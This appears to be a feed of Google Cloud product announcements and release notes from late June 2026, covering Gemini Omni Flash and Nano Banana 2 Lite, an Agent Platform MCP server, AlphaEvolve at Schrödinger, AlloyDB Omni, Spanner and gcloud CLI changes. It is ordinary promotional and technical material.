World knowledge and simulation: It combines an intuitive understanding of physics with Gemini's knowledge of history, science and cultural context, bridging the gap from photorealism to meaningful storytelling.
Text and action synchronization: Render legible text and graphics directly into video, syncing kinetic typography and explainer text with on-screen movements.

Note: Support for audio references, video references, last frame, scene extension and higher resolutions for the Gemini Omni Flash via Gemini Enterprise Agent Platform API will be available soon.

To see the full list of model capabilities and how to integrate it check out the documentation and pricing.

Priced at $0.10 per second of video output, Gemini Omni Flash delivers some of the best price-performance for video generation and editing capabilities on the market.

Businesses using Gemini Omni Flash to build next-gen applications and creative agentic workflows:

“We’re excited to bring Google’s newest models, including Gemini Omni Flash and Nano Banana 2 Lite, to Adobe Firefly, our all-in-one creative AI studio – to help creators move faster from idea to finished content. These new models build on Adobe’s strategy to deliver our pro-grade tools and the industry’s top creative AI models in a connected workflow, giving creators flexibility and control over how they bring their creative ideas to life." – Matt Chotin, Senior Director of Product, Adobe

“The thing that immediately caught my attention was the sheer range of what the Gemini Omni Flash model does. The VFX capabilities surprised me, and looking at it as a producer, that brings in some very interesting possibilities. But the hybrid possibilities are what excite me most. You take the crews you have always worked with in the live-action world, and you bring the breadth of what AI can do now onto the same set.” - Nishant Tahilramani, Creative Director, Invideo

“Through our continued partnership with Google, WPP received early access to the new Gemini Omni Flash’s model and integrated it into WPP Open, our agentic marketing platform. Gemini Omni Flash’s multi-modal capabilities—allowing for seamless image, audio, and video input references—combined with intuitive conversational editing, represent a leap forward for controlled AI production. Teams have tested asset localization, precise product swaps, and dynamic style transfers for clients. We are thrilled to partner with Google Cloud to continually push the boundaries of AI-driven creativity and deliver highly adaptable, intelligent work for our clients.” – Elav Horwitz, Chief Innovation Officer, WPP

Nano Banana 2 Lite: Built for cost and speed

Nano Banana 2 Lite can generate an image in as little as four seconds. You can generate and iterate on design concepts in seconds, taking you from a blank page to the perfect layout instantly.

Nano Banana 2 Lite generates images in as little as four seconds.

Significant improvements over Nano Banana (Gemini 2.5 Flash Image)

Nano Banana 2 Lite blends fast image generation with a significant leap in visual quality and capability compared to our legacy model, Nano Banana. We enhanced core capabilities so you can execute complex tasks at high speeds:

World knowledge: Quickly draft accurate contextual scenes, rough data visualizations, and location-specific mockups.
Character consistency: Maintain character identities and object fidelity across multiple swift generations to easily build out storyboarding tools or embed virtual try-ons for ecommerce.
Quick text and localization: Draft copy on the fly by rendering legible text directly into rapid generations to see how typography works across localized ad variations.

To see the full list of model capabilities and how to integrate it check out the documentation and pricing.

Note: Image generation offers the fastest latency. Image editing may experience slightly higher response time.

Fast, cost-efficient image generation with a significant leap in visual quality and capability compared to our legacy model, Nano Banana

Industry leaders building faster visual experiences with Nano Banana 2 Lite:

“Speed is no longer a limitation. When generation is faster than imagination, creators can stay inside the idea instead of waiting on the tool. Nano Banana 2 Lite brings that feeling into the creative process, letting thoughts move into visuals almost instantly. For Artlist’s users, it means less time staring at a progress bar and more time creating, iterating, personalizing, and moving at the speed of culture.” - Idan Yonas, Director of AI Content & Innovation, Artlist

"Nano Banana 2 Lite is fast and reliable, helping designers explore more ideas to craft unique images on Figma Weave's node-based canvas. It's ideal for rapid iteration while staying in the creative flow." - Itay Schiff, Co-founder and Creative Director, Figma

"We have been testing Nano Banana 2 Lite to power real-time image generation within Manus’s autonomous workflows—from slide decks to web pages. Its speed suits these scenarios well, allowing our AI Agent to iterate on visuals quickly and deliver results in seconds. The image quality is also impressive, coming close to the full Nano Banana 2. We look forward to continuing our partnership and building better experiences together." - Tao Zhang, Co-founder and Chief Product Officer, Manus AI.

Safety and enterprise governance

C2PA content credentials and imperceptible SynthID watermarks are enabled by default to help verify content authenticity for both models.

To handle high-concurrency API requests reliably at scale, the Gemini Enterprise Agent Platform offers provisioned throughput (PT) for Nano Banana 2 Lite starting today. Provisioned throughput for Gemini Omni Flash will be rolling out soon.

Start building today

Embed these image and video generation and editing capabilities into your applications and creative workflows today. Explore these resources to start building:

Try the models: Agent Studio within Gemini Enterprise Agent Platform
API documentation: Nano Banana 2 Lite, Gemini Omni Flash
Access Colab notebooks: Nano Banana 2 Lite, Gemini Omni Flash
Pricing: Agent Platform Pricing for both models
Prompting guides: Nano Banana, Gemini Omni Flash
Gemini Omni Flash Prompting Agent Skills

Build agents even faster with Gemini Enterprise Agent Platform’s fully-managed, remote MCP server

2026-06-30T16:00:00+00:00

A couple of months ago, we announced that over 50 Google-managed MCP servers are available.

Today, we’ll dive into how to use the Gemini Enterprise Agent Platform remote MCP server to securely connect your external AI agents to the resources inside your Google Cloud environment.

Connect your IDE to Google Cloud

Think of the Agent Platform MCP server as a bridge between your favorite external development tools and your Google Cloud architecture.

If you are building an agent in Antigravity CLI or Claude Code, for example, the Agent Platform MCP server allows that agent to securely interact with your Agent Platform resources. That way, your agent can now easily call models from Model Garden, pull down shared prompt templates, or even manage Notebooks directly within your project – all without ever leaving the IDE.

Quicker time-to-value

The speed at which you deliver value is one of your greatest advantages. But sometimes, connecting external development environments to cloud infrastructure forces a trade-off. Developers want to move fast with minimal setup, while IT teams need strict governance over data access.

The Agent Platform MCP server provides a single, standardized interface for your external agents so you can spend less time writing integration code and more time building useful features. And by running entirely within Google Cloud’s secure infrastructure, it gives you ready-to-use endpoints that protect your data while accelerating your development.

Get the best of both worlds:

Build with open standards: Agents you build outside of Google Cloud stay fully compliant with the open MCP specification. Your external IDEs and frameworks can seamlessly interact with your cloud environment without locking you into a proprietary ecosystem.
Centralized discovery: Catalog your assets with Agent Registry in Agent Platform. It acts as your organization's centralized library, so your teams can securely store, search for, and govern their entire inventory of skills, tools, and other AI capabilities.
Easy access with security and governance: Your connections are protected by default. IT teams can leverage native Cloud IAM Deny policies to ensure external developer frameworks only interact with authorized Google Cloud resources.

How it works: Three simple steps to connectivity

Enable the API: The Gemini Enterprise Agent Platform remote MCP server is automatically enabled when you enable the Gemini Enterprise Agent Platform API within your Google Cloud project.

2. Configure your client: Connect your AI application by following our configuration instructions to point to the remote server.

3. Use toolsets: Access a robust, copyable list of Toolset Endpoints to begin interacting with your Agent Platform resources immediately.

Available toolsets:

MCP Toolsets
Endpoint	Description	Tools
/mcp/generate	Generative AI tools	Core generation features
/mcp/predict	Prediction tools	Inference and raw prediction
/mcp/notebook	Colab enterprise notebook tools	Notebook runtime and execution management
/mcp/endpoints	Endpoint management tools	Lifecycle management for model endpoints
/mcp/models	Model registry tools	Model upload, registry, and deployment
/mcp/tuning	Model fine-tuning tools	Finetuning job management and tracking
/mcp/evaluation	Quality evaluation tools	Automated model quality and instance evaluation
/mcp/prompts	Prompt management tools	Prompt engineering and versioning workflows

Get started today

Visit the Agent Platform page to connect your favorite agent frameworks to the Agent Platform MCP server and start building today.

How Schrödinger sped up molecular discovery by 4x with Alphaevolve

2026-06-30T16:00:00+00:00

Computational chemistry researchers have traditionally faced a frustrating trade-off when simulating molecular interactions: use fast classical force fields that sacrifice precision or rely on accurate quantum-mechanical methods that run too slowly on large jobs.

Machine-learned force fields (MLFFs) close that gap by training neural networks on high-fidelity quantum data. When it comes to modern drug discovery and materials design, though, there’s demand for even faster processing speeds to handle massive chemical libraries involved. To overcome such performance constraints, Schrödinger partnered with Google Cloud to deploy AlphaEvolve, an evolutionary AI coding agent developed by Google DeepMind that iteratively generates and refines algorithms to find the most efficient code path overcoming the algorithmic bottleneck.

A collaborative duet with AlphaEvolve

Schrödinger — a leader in developing scientific software for over three decades — identified two critical algorithms within their MLFF training pipeline that limited performance: neighbor list computation and Ewald summation. These algorithms aggregate data from atomic neighbors and calculate long-range potentials, but both became limiting factors in training and inference speed.

Schrödinger's primary technical goal was speeding up AI model training for energy and force calculations. Specifically, they targeted the Ewald summation, a critical but computationally demanding function used in molecular mechanics. The Ewald sum was the main performance constraint in Schrödinger's PyTorch code. It had no established vectorized algorithm and often relied on simple for-loops that ran slowly on large simulations.

By incorporating AlphaEvolve into their models, the system could generate a batched implementation of the Ewald summation using parallel batch matrix multiplication. This would evolve the PyTorch code to outperform existing custom kernels.

Evaluation metrics

Schrödinger used a rigorous multi-layered evaluation framework to confirm the evolved code was both performant and scientifically accurate:

Inverse time (primary metric): The core objective was to maximize throughput by reducing calculation time, from a baseline score of 7.9.
Functional correctness: All evolved programs had to pass a full test suite, including regression tests on complex systems such as disordered water models.
Success rate: This was measured by the share of programs that were both functionally correct and faster than the baseline.

“AlphaEvolve allows us to explore larger chemical spaces faster and more efficiently than ever before. Faster MLFF inference carries real business impact, shortening R&D cycles in drug discovery, catalyst design, and materials development, and enabling companies to screen molecular candidates in days rather than months.” — Gabriel Marques, technical lead of machine learning, Schrödinger

Results: a 4x speedup and breaking bottlenecks

By applying AlphaEvolve, Schrödinger replaced simple for-loops in the Ewald summation code with parallel batch matrix multiplication. This optimization raised the program success rate from less than 1% (40 out of 5,000 evaluations) to more than 60%, while improving the performance metric from the baseline of 7.9 to nearly 30.

Optimizing these foundational algorithms delivered a 4x speedup in both MLFF training and inference. This acceleration lets researchers compress molecular screening timelines and directly benefits several key research areas:

Drug discovery: Identifying viable therapeutic candidates quickly to address urgent medical needs.
Catalyst design: Developing efficient chemical processes for industrial applications.
Materials development: Designing next-generation materials with custom properties for electronics and energy storage.

The next evolution

Schrödinger plans to apply this evolutionary approach to custom GPU kernels to test whether AI-generated code can outperform human-engineered implementations.

Read the full technical paper on AlphaEvolve to learn how evolutionary AI agents optimize scientific codebases, or contact the Google Cloud AI team to discuss accelerating your research workflows.

Modernizing financial services with deployment freedom and transformational AI with AlloyDB Omni

2026-06-30T16:00:00+00:00

The financial services industry (FSI) operates under a unique set of non-negotiable requirements: the need for strict regulatory compliance, sub-millisecond transactional speeds, and security that verges on impenetrable. Historically, organizations have met these standards by relying on brittle, proprietary database systems, leaving them with massive technical debt, operational overhead, and vendor lock-in.

At the same time, financial services companies are facing a series of daunting challenges:

The licensing trap and technical debt: Decades of reliance on legacy commercial databases have left institutions with skyrocketing maintenance costs and restrictive licenses that refuse to scale. In fact, a global investment bank might find that over 70% of its IT budget is swallowed up by decades-old COBOL core banking systems and siloed ledger databases—leaving virtually no capital to develop the real-time, AI-driven fraud detection tools their clients are actively demanding.
The tug of war between sovereignty and innovation: Emerging regulations like EMEA’s Digital Operational Resilience Act (DORA) and strict national data residency laws require institutions to maintain ironclad control over where their data lives. This often creates a massive barrier to public cloud adoption for sensitive workloads, effectively siloing a regional payment processor from modern AI tools simply because they cannot legally move transaction data to a public cloud for processing.
The "insights gap" in real-time operations: While agile fintech upstarts launch with flexible, cloud-native architectures, traditional firms struggle to turn vast data reserves into actionable intelligence. Their data is trapped in legacy environments that hit a performance ceiling during peak market volatility, leaving an investment firm struggling to scale its high-frequency trading ledgers when standard PostgreSQL or legacy systems max out.

As the industry enters the era of Agentic AI — where autonomous AI agents handle complex workflows like real-time risk assessment and automated trading — financial services firms must adopt a fundamentally new database strategy.

To overcome these entrenched challenges, they need to shift their strategy, moving away from proprietary databases that lock them in toward a hybrid, open-standards-based paradigm. This allows them to embrace the best of cloud-native innovation , like empowering real-time agentic AI workloads and edge computing , while maintaining control and residency of their own data on-premises.

At Google Cloud, we designed AlloyDB for PostgreSQL to unify operational data, real-time analytics, and generative AI into a single platform, and you can run it anywhere. Further, it specifically addresses the above mentioned FSI challenges directly through three guiding principles:

The licensing trap -> open standards: AlloyDB is 100% PostgreSQL-compatible, allowing institutions to modernize from expensive, legacy proprietary databases to an open platform that minimizes licensing headaches and vendor lock-in.
Sovereignty -> heterogeneous support: With AlloyDB Omni’s flexible deployment model, organizations can keep up with the complex topologies that characterize global banks, allowing mission-critical applications to run in a hybrid cloud, at the edge, or on-prem in air-gapped environments.
The insights gap -> battle-tested scale: By incorporating architectural lessons from Google's billion-user applications, the cloud-managed AlloyDB service delivers superior performance, running over 4x faster for transactional workloads than standard PostgreSQL. Crucially, the downloadable AlloyDB Omni engine brings this exact same high-concurrency scaling power straight to your local hardware—outperforming standard PostgreSQL by over 2x for transactions—while both deployment models accelerate real-time analytical queries by up to 100x.

Institutions are already realizing the benefits of this new approach:

Cynergy Bank: By migrating from on-prem SQL databases to AlloyDB, the bank successfully modernized a key element of its infrastructure. This critical initiative reduced app account loading times to under three seconds and enabled the integration of data and AI, providing a more personal "human touch" to digital banking and financial services.
Apex Fintech: The company leveraged AlloyDB to speed up margin calculations by 50%, enabling them to calculate risk for 100,000 accounts in just one minute while eliminating the need for a separate analytical system.

To ensure financial institutions can leverage these exact same breakthrough database innovations anywhere—without being forced into a public cloud migration—we built AlloyDB Omni to extend our signature kernel performance directly to your owned infrastructure.

AlloyDB Omni: Strong performance and deployment freedom

Whether running mission-critical applications on-premises, at the edge, or across hybrid clouds, financial institutions shouldn't have to choose between deployment flexibility and database performance. AlloyDB Omni bridges this gap by bringing Google’s breakthrough kernel innovations directly to your infrastructure. By design, it delivers enterprise-grade capabilities across three core dimensions:

True portability and modernization in place: Take absolute control over your data residency. Deploy AlloyDB Omni on-premises or at the edge to help comply with strict data sovereignty laws and regulations. This allows you to upgrade your legacy estates right where they live, avoiding the immense operational risk, latency, and vendor concentration risks of a forced public cloud migration.
Operational simplicity on your terms: Manage your databases like any other modern application. AlloyDB Omni is deployable across containerized environments, bare metal, or VMs. By leveraging tools like our Kubernetes Operator to automate routine provisioning, backups, and failovers, your platform teams gain integrated, API-driven control that elevates the database into a first-class citizen of your infrastructure alongside compute and storage. For non-containerized setups, Omni can be downloaded as a standalone RPM and managed with CLI or Ansible automation, and it is fully validated to run on Google Distributed Cloud (GDC) for the most restrictive air-gapped workloads.
Shattering the PostgreSQL performance ceiling: While standard PostgreSQL is highly trusted, high-concurrency financial workloads often hit a scaling wall. AlloyDB Omni breaks through these limits directly on your local hardware:

Superior transactional scalability: Delivers up to 2x faster transaction processing than standard PostgreSQL, ensuring payment processing and high-frequency trading ledgers maintain ultra-low latency even during volatile operational spikes.
Real-time analytics (HTAP): An intelligent, built-in columnar engine accelerates analytical queries by up to 100x. This enables instant, local business intelligence and reporting directly on live transactional data without the latency of moving it to a warehouse.
Secure, local AI transformation: Build fraud detection, risk modeling, or semantic search applications locally. AlloyDB Omni includes integrated AlloyDB AI vector capabilities—featuring a ScaNN index that is up to 10x faster and 4x more memory efficient than standard PostgreSQL's HNSW index. This allows you to scale generative AI apps while keeping sensitive financial data and foundation models strictly within your secured infrastructure boundaries.

Enterprise-grade security and compliance

Security cannot be an afterthought. We built AlloyDB Omni to exceed the rigorous standards of the finance industry, offering a hardened posture out of the box. AlloyDB includes:

Granular access and auditing: AlloyDB Omni integrates with Active Directory for unified identity management and provides detailed audit logging to track every access event — essential for regulatory audits.
Compliance-ready infrastructure: By utilizing features like Transparent Data Encryption (TDE) at rest, AlloyDB Omni is specifically engineered to help you meet your regulatory compliance obligations.

By providing a platform that is secure by design and that can be flexibly deployed in a variety of configurations, AlloyDB Omni enables financial institutions to stop choosing between stability and innovation and start delivering both.

Next steps

To learn more and get started, please visit https://cloud.google.com/alloydb/omni. You can learn more from the AlloyDB Omni documentation.

AlloyDB Omni is covered by the Google Cloud support plan the customer has chosen for their Google Cloud account; more information on support can be found at https://cloud.google.com/support.

Technology partners, system integrators and ISVs play an important role in helping customers modernize and build differentiated applications., We are extending the AlloyDB Cloud Ready program to now include AlloyDB Omni and enable our partner ecosystem to bring the best of what AlloyDB Omni has to offer to their customers. Customers can trust these validated partner products to work well with AlloyDB Omni, and can focus their time on modernizing database workloads and applications that will drive value for their business.

Get started with AlloyDB Omni by downloading and deploying in your preferred location, including on your laptop!

Start building with Nano Banana 2 Lite and Gemini Omni Flash

2026-06-30T16:00:00+00:00

mp4 showing a title card reading "Build with our generative media models"

Create fully native and editable presentations with Gemini in Google Slides

2026-06-30T15:02:27+00:00

Try the following to create more relevant, compelling presentations in less time:

Add a prompt: In the Slides side panel, add a prompt to generate a presentation.
Ground it in your content: Add as many reference files directly from Drive as you need to provide context.
Stay on-brand: Attach an existing deck to use as a style reference to ensure your presentation matches your desired look and feel.
Refine the plan for your presentation: Answer any follow-up questions to refine the presentation’s tone, style, content, or audience. You will also have the chance to edit or approve the presentation outline before the actual slides are created.

Note: At launch, this feature will be supported in English only.

Getting started

Admins: There is no admin control for this feature.
End users: Visit the Help Center to learn more about generating a presentation with Gemini.

Note: Through at least August 1, 2026, Workspace customers will get promotional access to higher limits for creating multi-slide presentations using Gemini in Google Slides, allowing users to experiment with this feature. Users will see a notification when they use this feature to inform them of the limited higher promotional access period. Per-user usage limits will apply after that date; we’ll provide more information in the Help Center in advance of updated usage limits going into effect.

Rollout pace

Rapid Release and Scheduled Release domains: Extended rollout (potentially longer than 15 days for feature visibility) started on June 29, 2026

Availability

Business: Business Standard and Plus
Enterprise: Enterprise Standard and Plus
Consumer: Google AI Pro and Ultra
Education Add-ons: Google AI Pro for Education
Other Add-ons: AI Expanded Access*

*Once promotional limits are no longer in effect, users with AI Expanded Access add-on licenses will have higher limits on usage of Gemini in Slides.

Resources

Google Slides Help: Generate presentations with Gemini in Google Slides
Google Workspace Updates Blog: Reimagining content creation with Gemini in Google Docs, Sheets, Slides, and Drive

3 sposoby na mądry czas przed ekranem i aktywne wakacje dzieci

2026-06-30T13:00:00+00:00

Grafika przedstawiająca rodzine nad wspólnymi aktywnościami

FactSet Announces Strategic Partnership with Google Cloud to Bring Advanced AI to Financial Intelligence

2026-06-30T11:30:00+00:00

Introducing TabFM: A zero-shot foundation model for tabular data

2026-06-30T10:26:00+00:00

Data Management

Cloud Release Notes — June 30, 2026

2026-06-30T07:00:00+00:00

Cloud SDK

Change

575.0.0 (2026-06-30)

Google Cloud CLI

Added any-reservation-then-fail argument for flag --reservation-affinity in gcloud container clusters node-pools create.

Agent Registry

Added gcloud agent-registry command group to manage Agent Registry resources.

AlloyDB

Added --failover flag to gcloud beta alloydb clusters promote to support cross-region failover.

Apigee

Added gcloud apigee apis import which allows customers to upload API Proxy bundles in archive ZIP or feature template YAML format.

Artifact Registry

Expose the Registry URL in the output of gcloud artifacts repositories describe and in the output of gcloud artifacts repositories create (upon synchronous creation).

Assured Workloads

Added SWITZERLAND_DATA_BOUNDARY_WITH_ACCESS_JUSTIFICATIONS option to --compliance-regime flag of gcloud assured workloads create.

BigLake

Added gcloud biglake hive tables create to beta.

Cloud Access Context Manager

Exposed --service-account and --service-account-project-number for gcloud access-context-manager cloud-bindings commands in the GA track.

Cloud Bigtable

Added support for --tags flag to gcloud bigtable instances create to allow binding tags on instance creation.

Cloud Data Lineage

Added gcloud datalineage processes command group to manage data lineage processes.

Cloud Dataproc

Added --master-machine-types flag in gcloud dataproc clusters create.

Cloud IAM

Updated gcloud iam service-accounts create to print the created service account's email address.

Cloud Run

Made the FILE positional argument optional for all gcloud run * replace commands, defaulting to their respective standard filenames if not specified.
Promoted regional inference to beta for Cloud Run services, jobs, and worker pools. When --region or the run/region property is not specified, the command line looks for a resource with that name in all regions.
Added --sandbox-launcher flag to gcloud beta run deploy and gcloud beta run services update to allow setting a container as sandbox launcher.
Promoted --workdir flag for gcloud run commands to GA.
Promoted interactive project prompt when project is not specified in gcloud run deploy to GA.
Promoted suggesting project and region from Artifact Registry URL in gcloud run deploy to GA.
Added --tail flag to gcloud beta run jobs execute to tail logs of the running execution.
Added --dry-run flag to gcloud beta run deploy, gcloud beta run services update, gcloud beta run services delete, gcloud beta run worker-pools deploy, gcloud beta run worker-pools update, and gcloud beta run worker-pools delete to validate configuration without persisting changes.
Added gcloud run jobs executions describe-latest command to describe the latest execution of a job.
Call out proxy when deploying or updating services with gcloud run deploy or gcloud run services update that require authentication in all tracks.

Cloud SQL

Added --user and --password-secret-version to gcloud sql instances execute-sql.

Cloud Storage

Added download validation via MD5 hash and checksumming for streaming downloads in gcloud storage cp, gcloud storage mv and gcloud storage cat commands, see https://docs.cloud.google.com/storage/docs/streaming-downloads.
Updated gcloud storage cp command to support streaming uploads with objects in RAPID storage see https://docs.cloud.google.com/storage/docs/streaming-uploads.
Updated gcloud storage cp and gcloud storage mv commands to support streaming downloads with objects in RAPID storage see https://docs.cloud.google.com/storage/docs/streaming-downloads.
Updated gcloud storage cat to support Rapid Bucket see https://docs.cloud.google.com/storage/docs/rapid/rapid-bucket.

Cloud Workstations

Promoted --pd-disk-size flag of gcloud workstations update to GA.

Cluster Director

Users must supply a staticNodeCount if they want one. This no longer defaults to 1.

Compute Engine

Added gcloud alpha compute instance-groups managed configure-accelerator-topologies command to configure accelerator topologies of a managed instance group.
Added gcloud compute instances set-machine-resources command to allow setting machine resources for a virtual machine instances in alpha, beta, and GA.
Added test-iam-permissions command to gcloud compute storage-pools to return permissions that a caller has on the specified storage pool.
Added gcloud compute reservations sub-blocks set-iam-policy command to beta and GA release tracks.
Added gcloud compute reservations blocks set-iam-policy command to set IAM policy on a reservation block in beta, preview, and GA.
Promoted support for gcloud compute instance-groups managed resize-requests create for regional MIG to GA.
Promoted support for gcloud compute instance-groups managed resize-requests cancel for regional MIG to GA.
Promoted support for gcloud compute instance-groups managed resize-requests delete for regional MIG to GA.
Promoted support for gcloud compute instance-groups managed resize-requests describe for regional MIG to GA.
Promoted support for gcloud compute instance-groups managed resize-requests list for regional MIG to GA.
Added gcloud compute instance-templates test-iam-permissions command to test IAM permissions on an instance template in alpha, beta, GA, and preview.
Added gcloud compute target-https-proxies set-quic-override command in beta, preview, and GA.
Added gcloud compute reservations test-iam-permissions to test IAM permissions on Compute Engine reservations.
Added gcloud compute network-attachments set-iam-policy command to set IAM policy on a network attachment in alpha, beta, preview, and GA.
Added gcloud compute instances list-referrers command to alpha, beta, and GA release tracks.
Added gcloud compute reservations blocks test-iam-permissions command to test IAM permissions on a reservation block in beta.
Added gcloud compute interconnects attachments groups test-iam-permissions command to test IAM permissions on an interconnect attachment group in beta, preview, and GA.
Added support for displaying dynamic fields (such as TERMINATION_TIMESTAMP) to gcloud compute instance-groups managed list-instances in GA.

Database Migration

Added --source-database-name-override flag to gcloud database-migration conversion-workspaces seed|update to allow overriding the database name for the seed operation.

GKE Hub

Promoted gcloud container fleet rollouts to GA.
Promoted gcloud container fleet rolloutsequences to GA.

Kpt

Updated kpt to v1.0.0-beta.64. See https://github.com/kptdev/kpt/releases/tag/v1.0.0-beta.64 for more details.

Kubernetes Engine

Promoted GKE custom image flags (--image and --image-project) to GA, making them publicly visible in gcloud container clusters create, gcloud container clusters create-auto, and gcloud container node-pools create (and --image/--image-project in gcloud container clusters upgrade).
Added stack-type option to --additional-node-network flag of gcloud container node-pools create to configure the stack type (ipv4, ipv4-ipv6, or ipv6) for additional network interfaces.

Network Management

Added --source-cloud-run-job flag to gcloud network-management connectivity-tests.

Network Services

Updated gcloud edge-cache services import schemas to support specifying up to 100 allowed origins in CORSPolicy.allowOrigins and a client TTL of 0s in CDNPolicy.clientTtl.

Subscribe to these release notes at https://groups.google.com/forum/#!forum/google-cloud-sdk-announce.

Gemini Enterprise Agent Platform

Feature

Anthropic's Claude Sonnet 5

Claude Sonnet 5 is available in Model Garden.

Google SecOps

Announcement

[Spotlight Feature] Unified rules interface

The new rules interface is now available in public preview. The Google SecOps unified rules interface brings custom and curated rule management into a single, cohesive workflow. This optimizes detection engineering with a redesigned dashboard, an advanced rule editor, and expanded API capabilities to streamline rule deployment and troubleshooting.

You can still revert to the legacy experience. At the top right of the screen, click Switch to the legacy experience.

For more information about the Unified rules interface, see Manage unified rules.

Google SecOps SIEM

Announcement

Unified rules interface

The new rules interface is now available in public preview.

The Google SecOps unified rules interface brings custom and curated rule management into a single, cohesive workflow. This optimizes detection engineering with a redesigned dashboard, an advanced rule editor, and expanded API capabilities to streamline rule deployment and troubleshooting.

You can still revert to the legacy experience. At the top right of the screen, click Switch to the legacy experience.

For more information about the Unified rules interface, see Manage unified rules.

Virtual Private Cloud

Feature

General Availability: If a consumer VPC network uses an RDMA network profile for Falcon VPC networks, a single Compute Engine instance can connect to it by using multiple virtual Private Service Connect interfaces.

For more information, see Create VMs with Private Service Connect interfaces.

Unlocking Britain’s next era of productivity: Building a nation of AI trailblazers

2026-06-30T06:00:00+00:00

Four illustrated characters representing different professional roles, including a scientist, technician, explorer, and observer.

Gemini API — 2026-06-30

2026-06-30T00:00:00+00:00

Gemini Omni Flash w wersji testowej : udostępniony gemini-omni-flash-preview , wysokowydajny model multimodalny zaprojektowany do szybkiego generowania filmów i konwersacyjnej edycji filmów. Za pomocą interfejsu Interactions API możesz generować 3–10-sekundowe filmy w rozdzielczości 720p na podstawie opisów tekstowych lub animować obrazy statyczne, a następnie edytować i dopracowywać wyniki w formie rozmowy. Aby rozpocząć, zapoznaj się z przewodnikiem po Gemini Omni Flash i kartą modelu Gemini Omni Flash . Udostępniliśmy gemini-3.1-flash-lite-image (Nano Banana Lite) ogólnie dostępny wbudowan…

Supercharging the agentic era with Spanner’s multi-model architecture

2026-06-29T23:00:00+00:00

In the agentic era, the role of the database has fundamentally changed. It is no longer a passive repository; it’s a critical context engine designed to ground generative AI apps, models and power autonomous workflows. To do this effectively, databases must move beyond fragmented architectures and embrace a unified, multi-model foundation, facilitating deep reasoning and transforming static data into a system of action.

Spanner is leading this charge, and as a foundational pillar of Google’s Agentic Data Cloud, the industry is taking notice. In the 2025 Gartner® Critical Capabilities for Operational Cloud Database Management Systems report, Google (Spanner) ranked #1 in the Lightweight Transactions Use Case for the second consecutive year — in our opinion proving it is the most efficient engine for modern microservices and event-driven architectures.

Gartner® Operational Cloud DBMS use cases:

#1 in Lightweight Transactions
4.9 / 5.0 for Transactional Consistency
4.6 / 5.0 for AI/Machine Learning and GenAI

This technical momentum, which also recently earned Spanner the prestigious SIGMOD Systems Award, is matched by undeniable economic value. A recent Forrester Consulting Total Economic Impact™ (TEI) study commissioned by Google Cloud found that an organization (based on composite customer profile from Forrester’s survey) realized a 132% ROI with a fast 9-month payback period, yielding $7.74M in total benefits over three years having deployed Spanner.

The multi-model advantage for the agentic era

True AI autonomy requires deep context. To reason effectively, an AI agent cannot look at data through a single lens; it must simultaneously understand structured history (relational), semantic meaning (vectors), real-world connections (graphs), and textual details (full-text search).

Spanner natively breaks down these multi-model barriers. Instead of forcing you to stitch together disparate engines, Spanner unifies relational, vector, graph, key-value, and full-text search data directly within a single, highly performant database architecture. This architectural integration allows AI models to leverage situational, semantic, and relationship context instantly and concurrently.

Spanner’s fully interoperable multi-model capabilities allow organizations to build intelligent applications without compromise:

Spanner Graph: A unified graph and relational experience built on the ISO-standard GQL. You can model data natively as a graph or as an overlay on top of relational data, which is critical for building knowledge graphs that ground AI agents in real-world facts. Customers like Palo Alto Networks leverage Spanner Graph to power crucial access-control use cases at planet-scale, securing their AI infrastructure without needing a specialized, siloed graph database.
Integrated vector search: A fully integrated semantic search solution offering both K-Nearest Neighbors (KNN) and Approximate Nearest Neighbor (ANN) search, capable of supporting indexes with over 10 billion vectors for fast, low-latency retrieval-augmented generation (RAG).
Relational and key-value: Spanner pioneered the relational scale-out database (Google SQL and PostgreSQL). We've also introduced high-performance key-value capabilities via a Cassandra-native endpoint, allowing for easy lift-and-shift of Cassandra workloads.
Full-text search: Building on Google's decades of search expertise, Spanner provides advanced information retrieval across structured and unstructured data, including an enhance_query option for automatic synonym matching and spell correction. Streaming legal intelligence platform Inspira simplified a 4.5 TB data pipeline into a unified, high-performance single-source of truth. Leveraging Spanner’s native support for FTS and vector search capabilities Inspira achieved high-precision snippets for LLM-based legal analysis with RAG workflow.
Spanner columnar engine: This architectural breakthrough enables analytical queries to run up to 200× faster on live operational data, bridging the gap between OLTP and analytics to provide agents with real-time context without the "ETL tax." AI-powered fraud prevention platform Verisoul uses the columnar engine to run rich analytics on high-velocity transactional writes in one place, eliminating data copies and replication lag to get near-instant answers.

True interoperability means these aren't just isolated features , they are tightly integrated. Instead of writing complex application logic and brittle ETL pipelines to stitch together a graph database, a vector database, and a search engine, developers can query relationships, semantic meaning, and keywords in a single, ACID-compliant SQL statement.

Here’s an example of how a developer can combine relational, graph traversal, full-text search, and vector similarity search in one cohesive query to power an intelligent product recommendation agent:

Spanner Omni: Multi-model capabilities, everywhere

To truly be the unified data foundation for the Agentic Data Cloud, a database cannot be confined by infrastructure borders. That’s why we expanded our vision with Spanner Omni, bringing these multi-model capabilities to any environment without hardware restrictions, just as we did with AlloyDB Omni.

Spanner Omni is a downloadable version of Spanner in a fully containerized deployment model that requires absolutely zero dedicated hardware. It is designed with maximum flexibility in mind, running natively on Kubernetes using the infrastructure you already own. Whether your workloads are running on-prem, at the edge, or across other major public clouds like AWS and Azure, Spanner Omni gives you control and helps ensure you have a consistent, globally distributed data foundation.

This means organizations can leverage Spanner Graph, vector search, full text search, and our columnar engine anywhere, effectively breaking down cloud silos and making these cutting-edge capabilities available without vendor lock-in.

Industry-defining capabilities for core databases

In the 2025 Gartner® Critical Capabilities for Cloud Database Management Systems for Operational Use Cases, for the second consecutive year, Gartner ranked Google (Spanner) #1 in the Lightweight Transactions Use Case. This a testament to its efficiency and low latency for modern, event-driven microservices.

In our opinion, this industry recognition goes far beyond simple market presence, it is validated by deep foundational technical breakthroughs that separate Spanner from legacy architectures. Unlike platforms that bolt disparate, siloed database engines together and label it as "multi-model," or require users to select the modality at the time of database creation with no interoperability between modalities, Spanner’s capabilities are built on a bedrock of Google’s most advanced computer science:

TrueTime and Paxos for global consistency: Spanner’s distributed transactions are governed by TrueTime — a highly available, globally synchronized clock system utilizing GPS and atomic clocks. This enables lock-free distributed reads and strict external consistency globally. Combined with highly optimized Paxos consensus, Spanner delivers synchronous replication with zero data loss (Recovery Point Objective, i.e. RPO=0) and rapid recovery timelines (Recovery Time Objective, i.e. RTO=0) even during total regional failures.
